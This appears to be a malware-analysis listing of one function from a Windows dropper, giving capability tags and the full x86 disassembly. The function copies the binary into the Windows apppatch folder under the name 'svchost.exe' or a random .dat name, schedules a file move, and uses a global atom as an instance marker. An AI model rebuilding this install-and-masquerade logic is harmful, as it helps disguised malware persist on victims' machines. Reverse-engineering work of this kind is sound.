Function at 0x402420
Capabilities:
Check if file exists
Copy file
Delete file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
xor eax, eax
push esi
push edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push str.DropperInternalInstallAsAdmin
mov dword [ebp - 0x20], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x1c]
push 0x104
lea ecx, [ebp - 0x230]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401000
lea edx, [ebp - 0x128]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402480
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4025ad
push 0x104
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [ebp - 0x128]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4024b8
mov edx, dword [str._apppatch_]
mov ecx, dword [0x40b260]
mov dword [eax], edx
mov dx, word [0x40b264]
mov dword [eax + 4], ecx
mov cl, byte [0x40b266]
mov word [eax + 8], dx
push 0x408160
mov byte [eax + 0xa], cl
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40251a
push 0x40af70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40251a
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x40254b
lea eax, [ebp - 0x128]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402527
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x40b26c]
mov dword [eax], ecx
mov ecx, dword [0x40b270]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x4025ad
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004014d0
and eax, 1
add eax, 6
push eax
call fcn.00401520
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402565
lea edi, [ebp - 0x128]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402575
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x128]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402594
mov edx, dword [str..dat]
mov cl, byte [0x40b278]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [ebp - 0x128]
push edx
push 0x40b27c
lea eax, [ebp - 0x338]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [ebp - 0x128]
push ecx
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40268f
lea esi, [ebp - 0x128]
call fcn.004022e0
mov eax, esi
push eax
call fcn.004018b0
mov eax, esi
call fcn.004019c0
mov ecx, esi
push ecx
call fcn.00401a30
push 4
mov edx, esi
push edx
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x408160
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402655
push 0x40af70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402655
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x402667
lea edx, [ebp - 0x128]
push edx
call fcn.004015b0
push str.Sun_May_15_21:22:50_20111
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x402684
call fcn.00401f70
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Sun_May_15_21:22:50_20111
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret